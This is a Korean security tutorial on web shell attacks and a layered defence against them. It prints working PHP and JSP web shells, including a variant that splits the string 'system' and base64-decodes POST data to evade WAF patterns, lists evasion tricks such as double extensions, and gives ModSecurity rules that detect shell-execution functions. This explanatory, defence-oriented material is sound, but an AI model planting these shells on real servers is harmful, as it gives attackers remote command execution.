6. 현대적인 보안 레이어
웹셸 공격의 실제 시나리오
일반적인 웹셸 침투 과정
웹셸 침투 과정:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[공격자]
↓
[파일 업로드 취약점 발견]
↓
[악성 파일 업로드]
shell.php, cmd.jsp
↓
[웹셸 실행]
서버 명령어 실행
↓
[권한 상승]
시스템 장악
WAF 우회 기법:
├─ 파일명 위장: shell.php.jpg
├─ 인코딩/난독화: base64, 압축
└─ 정상 파일에 숨김: 이미지 + 코드
실제 웹셸 예시들
PHP 웹셸:
<?php
// 단순 웹셸
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
// 고급 웹셸 (WAF 우회)
<?php
$a = "sy"."stem"; // 문자열 분할로 패턴 우회
$b = base64_decode($_POST['data']); // base64 인코딩으로 우회
$a($b);
?>
JSP 웹셸:
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Runtime.getRuntime().exec(cmd);
}
%>
다층 방어 전략(포트 기반 권한 분리보다는 외부 트래픽을 다층적으로 검사하는 것이 더 유효함)
WAF 레벨 방어
WAF 레벨 방어:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[HTTP 요청] → [WAF 검사] → 3가지 검사 방식:
│
┌───────────────┼───────────────┐
↓ ↓ ↓
[패턴 매칭] [행동 분석] [파일 스캔]
시그니처 탐지 이상 행위 탐지 업로드 파일 검사
│ │ │
└───────────────┴───────────────┘
↓
[차단/로깅]
고급 WAF 설정 예시:
# ModSecurity 규칙 예시
SecRule FILES_TMPNAMES "@detectSQLi" \\
"id:2001,phase:2,block,msg:'SQL Injection in uploaded file'"
SecRule FILES "@rx \\.php$|\\.jsp$|\\.asp$" \\
"id:2002,phase:2,block,msg:'Executable file upload blocked'"
# 웹셸 패턴 탐지
SecRule ARGS "@rx (system|exec|shell_exec|passthru)" \\
"id:2003,phase:2,block,msg:'Shell execution attempt'"
실전 대응 시나리오
웹셸 발견 시 대응 절차
웹셸 발견 시 대응 절차:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[웹셸 탐지]
↓
[즉시 격리]
네트워크 차단
↓
[포렌식 수집]
로그, 메모리 덤프
↓
[영향 범위 분석]
손상된 파일 확인
↓
[시스템 복구]
백업에서 복원
↓
[보안 강화]
취약점 패치
병렬 작업:
├─ IOC 추출 (Indicator of Compromise)
└─ 위협 인텔리전스 공유
종합적 보안 전략
효과적인 웹셸 방어의 핵심
웹셸 방어 전략:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[다층 방어]
│
├─ [예방 단계]
│ WAF + 입력 검증
│
├─ [탐지 단계]
│ FIM + 행동 분석
│
├─ [대응 단계]
│ 격리 + 복구
│
└─ [복구 단계]
패치 + 강화
웹셸 실행 제어 - 다층 방어:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[5계층: 실시간 모니터링]
├─ 기술:
│ ├─ 실시간 파일 스캔
│ ├─ 프로세스 모니터링
│ └─ AI 기반 패턴 탐지
└─ 효과: 즉시 탐지 및 차단
대응: 자동 격리 + 알림
↓
[4계층: 컨테이너/가상화]
├─ 기술:
│ ├─ Docker 읽기전용 FS
│ ├─ gVisor 샌드박스
│ └─ Kubernetes SecurityPolicy
└─ 효과: 완전한 격리 환경
우회: 컨테이너 탈출 필요
↓
[3계층: 애플리케이션]
├─ 기술:
│ ├─ PHP disable_functions
│ ├─ Node.js vm2 샌드박스
│ └─ 입력 검증/화이트리스트
└─ 효과: 인터프리터 레벨 제어
우회: 새로운 취약점 필요
↓
[2계층: 커널/OS]
├─ 기술:
│ ├─ SELinux/AppArmor
│ ├─ fapolicyd 화이트리스팅
│ └─ eBPF 시스템콜 모니터링
└─ 효과: 시스템 호출 레벨 차단
우회: 권한 상승 필요
↓
[1계층: 파일시스템]
├─ 기술:
│ ├─ noexec 마운트
│ ├─ chmod 000
│ └─ 읽기전용 FS
└─ 효과: 파일 실행 원천 차단
우회: 인터프리터 직접 호출